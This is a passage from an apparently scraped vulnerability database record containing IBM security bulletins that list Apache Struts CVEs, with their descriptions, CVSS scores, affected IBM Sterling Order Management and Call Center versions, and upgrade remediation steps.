(AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2013-2135](<https://vulners.com/cve/CVE-2013-2135>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by double evaluation error when evaluating parameters as OGNL (Object-Graph Navigation Language) expressions. An attacker could exploit this vulnerability using a specially-crafted request parameter containing an OGNL expression to modify server-side objects and inject and execute arbitrary commands on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/84763](<https://exchange.xforce.ibmcloud.com/vulnerabilities/84763>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186702](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186702>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2013-4316](<https://vulners.com/cve/CVE-2013-4316>) \n** DESCRIPTION: **An unspecified error in Apache Struts related to the default enabling of Dynamic Method Invocation (DMI) could lead to remote code execution. \nCVSS Base score: 10 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/87373](<https://exchange.xforce.ibmcloud.com/vulnerabilities/87373>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C) \n \n** CVEID: **[CVE-2012-0391](<https://vulners.com/cve/CVE-2012-0391>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary commands on the system, caused by the interpretation of parameter values as OGNL expressions by the ExceptionDelegator command. An attacker could exploit this vulnerability using a specially-crafted parameter to execute arbitrary commands on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/72229](<https://exchange.xforce.ibmcloud.com/vulnerabilities/72229>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2012-0393](<https://vulners.com/cve/CVE-2012-0393>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to traverse directories on the system, caused by the improper validation of input by ParameterInterceptor prior to being used to create files. An attacker could send a specially-crafted URL request containing directory traversal sequences to create or overwrite arbitrary files on the system. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/72089](<https://exchange.xforce.ibmcloud.com/vulnerabilities/72089>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2012-4386](<https://vulners.com/cve/CVE-2012-4386>) \n** DESCRIPTION: **Apache Struts is vulnerable to cross-site request forgery, caused by improper validation of the token name configuration parameter by the token handling mechanism. By persuading an authenticated user to visit a malicious Web site, a remote attacker could send a malformed HTTP request to perform unauthorized actions. An attacker could exploit this vulnerability to perform cross-site scripting attacks, Web cache poisoning, and other malicious activities. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/78182](<https://exchange.xforce.ibmcloud.com/vulnerabilities/78182>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2016-4003](<https://vulners.com/cve/CVE-2016-4003>) \n** DESCRIPTION: **Apache Struts is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the URLDecoder implementation. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/111514](<https://exchange.xforce.ibmcloud.com/vulnerabilities/111514>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2016-3093](<https://vulners.com/cve/CVE-2016-3093>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by the improper implementation of cache used to store method references by the OGNL expression language. An attacker could exploit this vulnerability to block access to a Web site. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/113686](<https://exchange.xforce.ibmcloud.com/vulnerabilities/113686>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L) \n \n** CVEID: **[CVE-2013-4310](<https://vulners.com/cve/CVE-2013-4310>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by an error in the action: parameter prefix. An attacker could exploit this vulnerability to gain unauthorized access to the system. \nCVSS Base score: 5.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/87336](<https://exchange.xforce.ibmcloud.com/vulnerabilities/87336>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:P/I:P/A:N) \n \n** CVEID: **[CVE-2014-0116](<https://vulners.com/cve/CVE-2014-0116>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by the failure to properly restrict access to the getClass() method by the CookieInterceptor class. An attacker could exploit this vulnerability to manipulate the ClassLoader used by the application server. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/93024](<https://exchange.xforce.ibmcloud.com/vulnerabilities/93024>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2010-1870](<https://vulners.com/cve/CVE-2010-1870>) \n** DESCRIPTION: **XWork, as used in Apache Struts, FishEye and Crucible, could allow a remote attacker to bypass security restrictions, caused by an error in the ParameterInterceptor class. An attacker could exploit this vulnerability using specially-crafted OGNL (Object-Graph Navigation Language) expressions to modify server-side objects and possibly execute arbitrary commands on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/60371](<https://exchange.xforce.ibmcloud.com/vulnerabilities/60371>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2020-17530](<https://vulners.com/cve/CVE-2020-17530>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 8.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/192743](<https://exchange.xforce.ibmcloud.com/vulnerabilities/192743>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) \n \n** CVEID: **[CVE-2016-3082](<https://vulners.com/cve/CVE-2016-3082>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by the use of XSLTResult to parse arbitrary stylesheet. An attacker could exploit this vulnerability to inject and execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/112527](<https://exchange.xforce.ibmcloud.com/vulnerabilities/112527>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2016-4436](<https://vulners.com/cve/CVE-2016-4436>) \n** DESCRIPTION: **An unspecified error Apache Struts related to the method used to clean up action name has an unknown impact and attack vector. \nCVSS Base score: 5.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/114183](<https://exchange.xforce.ibmcloud.com/vulnerabilities/114183>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) \n \n** CVEID: **[CVE-2013-2251](<https://vulners.com/cve/CVE-2013-2251>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary commands on the system, caused by an error when evaluating the action:, redirect:, and redirectAction: parameters as OGNL (Object-Graph Navigation Language) expressions. An attacker could exploit this vulnerability using a specially-crafted request parameter containing an OGNL expression to inject and execute arbitrary commands on the system. Note: This vulnerability affects other products. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/85756](<https://exchange.xforce.ibmcloud.com/vulnerabilities/85756>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2017-12611](<https://vulners.com/cve/CVE-2017-12611>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by the use of an unintentional expression in Freemarker tag instead of string literals. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/131603](<https://exchange.xforce.ibmcloud.com/vulnerabilities/131603>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2015-5209](<https://vulners.com/cve/CVE-2015-5209>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to gain unauthorized access to the system. An attacker could exploit this vulnerability using a special top-level object to manipulate internal settings and modify another user session. \nCVSS Base score: 9.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/106695](<https://exchange.xforce.ibmcloud.com/vulnerabilities/106695>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) \n \n** CVEID: **[CVE-2013-2115](<https://vulners.com/cve/CVE-2013-2115>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by an incomplete fix for an error related to the handling of the includeParams attribute. An attacker could exploit this vulnerability using a specially-crafted request parameter containing an OGNL expression to modify server-side objects and inject and execute arbitrary commands on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/84543](<https://exchange.xforce.ibmcloud.com/vulnerabilities/84543>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2013-1966](<https://vulners.com/cve/CVE-2013-1966>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restriction, caused by the improper handling of the includeParams attribute. An attacker could exploit this vulnerability using a specially-crafted request parameter containing an OGNL expression to inject OGNL code on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/84542](<https://exchange.xforce.ibmcloud.com/vulnerabilities/84542>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2013-2248](<https://vulners.com/cve/CVE-2013-2248>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to conduct phishing attacks, caused by an open redirect vulnerability in the DefaultActionMapper class. An attacker could exploit this vulnerability using the redirect: and redirectAction:: parameters in a specially-crafted URL to redirect a victim to arbitrary Web sites. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/85755](<https://exchange.xforce.ibmcloud.com/vulnerabilities/85755>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2015-2992](<https://vulners.com/cve/CVE-2015-2992>) \n** DESCRIPTION: **Apache Struts is vulnerable to cross-site scripting, caused by improper validation of user-supplied input when directly accessing JSP files. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/106172](<https://exchange.xforce.ibmcloud.com/vulnerabilities/106172>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) \n \n** CVEID: **[CVE-2015-5169](<https://vulners.com/cve/CVE-2015-5169>) \n** DESCRIPTION: **Apache Struts is vulnerable to cross-site scripting, caused by improper validation of user-supplied input when debug mode is enabled. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 6.1 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/105879](<https://exchange.xforce.ibmcloud.com/vulnerabilities/105879>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Sterling Order Management| 10.0 \nIBM Sterling Order Management| 9.5.x \n \n## Remediation/Fixes\n\nIBM strongly recommends addressing the vulnerability now by upgrading to the latest fixpack that has the upgraded version of Apache Struts. Please note the fixpack only applies to IBM Sterling Order Management version 10 and if you are running IBM Sterling Order Management version 9.5 a product upgrade must be completed first. IBM Sterling Order Management version 9.5 end of support April 30, 2022.\n\nOrder Management installing Fix Pack29 -[https://www.ibm.com/docs/en/order-management-sw/10.0?topic=software-fixes-by-fix-pack-version#fp29 https://www.ibm.com/docs/en/order-management-sw/10.0?topic=software-fixes-by-fix-pack-version#fp30](<https://www.ibm.com/docs/en/order-management-sw/10.0?topic=software-fixes-by-fix-pack-version#fp29>)\n\nFix Pack 29 download location - [https://www.ibm.com/support/fixcentral/swg/selectFixes?fixids=10.0.0.0-Sterling-SSFF-All-fp30-Installer&product=ibm%2FOther%20software%2FSterling%20Selling%20and%20Fulfillment%20Foundation&source=dbluesearch&mhsrc=ibmsearch_a&mhq=10.0.0.0-Sterling-SSFF-All-fp30-Installer%20&function=fixId&parent=ibm/Other%20software](<https://www.ibm.com/support/fixcentral/swg/selectFixes?fixids=10.0.0.0-Sterling-SSFF-All-fp30-Installer&product=ibm%2FOther%20software%2FSterling%20Selling%20and%20Fulfillment%20Foundation&source=dbluesearch&mhsrc=ibmsearch_a&mhq=10.0.0.0-Sterling-SSFF-All-fp30-Installer%20&function=fixId&parent=ibm/Other%20software>)\n\nCreating & Extending Struts - <https://www.ibm.com/docs/en/order-management-sw/10.0?topic=cesf-creating-extending-struts-xml-file-in-web-ui-framework>\n\nOn-Premise release notes - <https://www.ibm.com/docs/en/order-management-sw/10.0?topic=software-fixes-by-fix-pack-version>\n\nFix Central Link (**FP details URL)**: \n[http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+Selling+and+Fulfillment+Foundation&fixids=10.0.0.0-Sterling-SSFF-All-fp29-Installer&source=SAR](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+Selling+and+Fulfillment+Foundation&fixids=10.0.0.0-Sterling-SSFF-All-fp29-Installer&source=SAR>)\n\n## Workarounds and Mitigations\n\nIBM strongly recommends addressing the vulnerability now by executing above steps in product version 10.0. Version 9.5 is end of support as of April 30, 2022. If you need further clarifications regarding 9.5 end of support, log4j and version 9.5 please contact IBM support.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-14T17:45:15", "type": "ibm", "title": "Security Bulletin: IBM Sterling Order Management Apache Struts upgrade strategy (various CVEs, see below)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1870", "CVE-2011-1772", "CVE-2011-5057", "CVE-2012-0391", "CVE-2012-0392", "CVE-2012-0393", "CVE-2012-0838", "CVE-2012-1006", "CVE-2012-4386", "CVE-2012-4387", "CVE-2013-1965", "CVE-2013-1966", "CVE-2013-2115", "CVE-2013-2134", "CVE-2013-2135", "CVE-2013-2248", "CVE-2013-2251", "CVE-2013-4310", "CVE-2013-4316", "CVE-2014-0094", "CVE-2014-0112", "CVE-2014-0113", "CVE-2014-0116", "CVE-2014-7809", "CVE-2015-2992", "CVE-2015-5169", "CVE-2015-5209", "CVE-2016-3081", "CVE-2016-3082", "CVE-2016-3093", "CVE-2016-4003", "CVE-2016-4436", "CVE-2017-12611", "CVE-2019-0230", "CVE-2019-0233", "CVE-2020-17530"], "modified": "2022-09-14T17:45:15", "id": "87B4000A01C23B6231C463A8E1B3BEC371361C202F46354684899DC113F12BC8", "href": "https://www.ibm.com/support/pages/node/6620355", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-08T02:42:32", "description": "## Summary\n\nApache Struts is used by IBM Call Center as part of its web application framework used for creating Java EE web applications. It is vulnerable to various CVEs, listed below. We recommend upgrading to the latest supported version of Struts that was released as part of the latest FixPack 12.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2011-1772](<https://vulners.com/cve/CVE-2011-1772>) \n** DESCRIPTION: **Apache Struts is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by Xwork when generating the action name for error pages. If Dynamic Method Invocation is enabled, a remote attacker could exploit this vulnerability using the tag in a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 2.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/67354](<https://exchange.xforce.ibmcloud.com/vulnerabilities/67354>) for the current score. \nCVSS Vector: (AV:N/AC:H/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2012-0838](<https://vulners.com/cve/CVE-2012-0838>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by the evaluation of an OGNL expression during a conversion error. An attacker could exploit this vulnerability using invalid input to a field to modify run-time data and execute arbitrary code on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/73690](<https://exchange.xforce.ibmcloud.com/vulnerabilities/73690>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2014-7809](<https://vulners.com/cve/CVE-2014-7809>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by predictable tokens. By sending a specially crafted request, an attacker could exploit this vulnerability to bypass cross-site request forgery security measures. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/98963](<https://exchange.xforce.ibmcloud.com/vulnerabilities/98963>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2011-5057](<https://vulners.com/cve/CVE-2011-5057>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by the failure to block access to the session map by the org.apache.struts2.interceptor.SessionAware or org.apache.struts2.interceptor.RequestAware interfaces. By sending a specially-crafted request, a remote attacker could exploit this vulnerability to modify the session map. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/71654](<https://exchange.xforce.ibmcloud.com/vulnerabilities/71654>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2012-4387](<https://vulners.com/cve/CVE-2012-4387>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an error when handling request parameters. A remote attacker could exploit this vulnerability using a specially-crafted parameter name containing an OGNL expression to consume all available CPU resources. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/78183](<https://exchange.xforce.ibmcloud.com/vulnerabilities/78183>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:N/I:N/A:P) \n \n** CVEID: **[CVE-2012-1006](<https://vulners.com/cve/CVE-2012-1006>) \n** DESCRIPTION: **Apache Struts is vulnerable to cross-site scripting, caused by improper validation of user-supplied input by the editPerson.action and struts2-rest-showcase/orders scripts. A remote attacker could exploit this vulnerability using the name, lastName or clientNape parameter in a specially-crafted URL to execute script in a victim's Web browser within the security context of the hosting Web site, once the URL is clicked. An attacker could use this vulnerability to steal the victim's cookie-based authentication credentials. \nCVSS Base score: 4.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/72888](<https://exchange.xforce.ibmcloud.com/vulnerabilities/72888>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2012-0392](<https://vulners.com/cve/CVE-2012-0392>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary commands on the system, caused by the failure to properly restrict access to static methods by the CookieInterceptor class. An attacker could exploit this vulnerability to execute arbitrary commands on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/72088](<https://exchange.xforce.ibmcloud.com/vulnerabilities/72088>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2014-0094](<https://vulners.com/cve/CVE-2014-0094>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by an error in ParametersInterceptor. An attacker could exploit this vulnerability using the class parameter to manipulate the ClassLoader used by the application server. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/92205](<https://exchange.xforce.ibmcloud.com/vulnerabilities/92205>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2019-0233](<https://vulners.com/cve/CVE-2019-0233>) \n** DESCRIPTION: **Apache Struts is vulnerable to a denial of service, caused by an access permission override when performing a file upload. By sending a specially crafted request, an attacker could exploit this vulnerability to cause subsequent upload actions to fail. \nCVSS Base score: 5.9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186699](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186699>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2013-1965](<https://vulners.com/cve/CVE-2013-1965>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error in the Apache Struts Showcase App. An attacker could exploit this vulnerability using a specially-crafted request parameter containing an OGNL expression to inject and execute arbitrary code on the system. \nCVSS Base score: 6.8 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/85573](<https://exchange.xforce.ibmcloud.com/vulnerabilities/85573>) for the current score. \nCVSS Vector: (AV:N/AC:M/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2014-0112](<https://vulners.com/cve/CVE-2014-0112>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an incomplete fix related to ParametersInterceptor and the failure to restrict access to the class parameter. An attacker could exploit this vulnerability using the class parameter to manipulate the ClassLoader used by the application server to execute arbitrary code on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/92740](<https://exchange.xforce.ibmcloud.com/vulnerabilities/92740>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2013-2134](<https://vulners.com/cve/CVE-2013-2134>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by double evaluation error when evaluating parameters as OGNL (Object-Graph Navigation Language) expressions. An attacker could exploit this vulnerability using a specially-crafted request parameter containing an OGNL expression to modify server-side objects and inject and execute arbitrary commands on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/84762](<https://exchange.xforce.ibmcloud.com/vulnerabilities/84762>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2016-3081](<https://vulners.com/cve/CVE-2016-3081>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by the passing of a malicious expression when Dynamic Method Invocation is enabled. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 5.6 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/112528](<https://exchange.xforce.ibmcloud.com/vulnerabilities/112528>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2014-0113](<https://vulners.com/cve/CVE-2014-0113>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an incomplete fix related to CookieInterceptor and the failure to restrict access to the getClass() method. An attacker could exploit this vulnerability using CookieInterceptor when configured to accept all cookies to manipulate the ClassLoader used by the application server to execute arbitrary code on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/92742](<https://exchange.xforce.ibmcloud.com/vulnerabilities/92742>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2013-2135](<https://vulners.com/cve/CVE-2013-2135>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to bypass security restrictions, caused by double evaluation error when evaluating parameters as OGNL (Object-Graph Navigation Language) expressions. An attacker could exploit this vulnerability using a specially-crafted request parameter containing an OGNL expression to modify server-side objects and inject and execute arbitrary commands on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/84763](<https://exchange.xforce.ibmcloud.com/vulnerabilities/84763>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2019-0230](<https://vulners.com/cve/CVE-2019-0230>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by a forced double OGNL evaluation on raw user input in tag attributes. By sending specially crafted data, an attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base score: 7.3 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/186702](<https://exchange.xforce.ibmcloud.com/vulnerabilities/186702>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n \n** CVEID: **[CVE-2013-4316](<https://vulners.com/cve/CVE-2013-4316>) \n** DESCRIPTION: **An unspecified error in Apache Struts related to the default enabling of Dynamic Method Invocation (DMI) could lead to remote code execution. \nCVSS Base score: 10 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/87373](<https://exchange.xforce.ibmcloud.com/vulnerabilities/87373>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:C) \n \n** CVEID: **[CVE-2012-0391](<https://vulners.com/cve/CVE-2012-0391>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to execute arbitrary commands on the system, caused by the interpretation of parameter values as OGNL expressions by the ExceptionDelegator command. An attacker could exploit this vulnerability using a specially-crafted parameter to execute arbitrary commands on the system. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/72229](<https://exchange.xforce.ibmcloud.com/vulnerabilities/72229>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P) \n \n** CVEID: **[CVE-2012-0393](<https://vulners.com/cve/CVE-2012-0393>) \n** DESCRIPTION: **Apache Struts could allow a remote attacker to traverse directories on the system, caused by the improper validation of input by ParameterInterceptor prior to being used to create files. An attacker could send a specially-crafted URL request containing directory traversal sequences to create or overwrite arbitrary files on the system. \nCVSS Base score: 5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/72089](<https://exchange.xforce.ibmcloud.com/vulnerabilities/72089>) for the current score. \nCVSS Vector: (AV:N/AC:L/Au:N/C:N/I:P/A:N) \n \n** CVEID: **[CVE-2012-4386](<https://vulners.com/cve/CVE-2012-4386>) \n** DESCRIPTION: **Apache Struts is vulnerable to cross-site request forgery, caused by improper validation of the token name configuration parameter by the 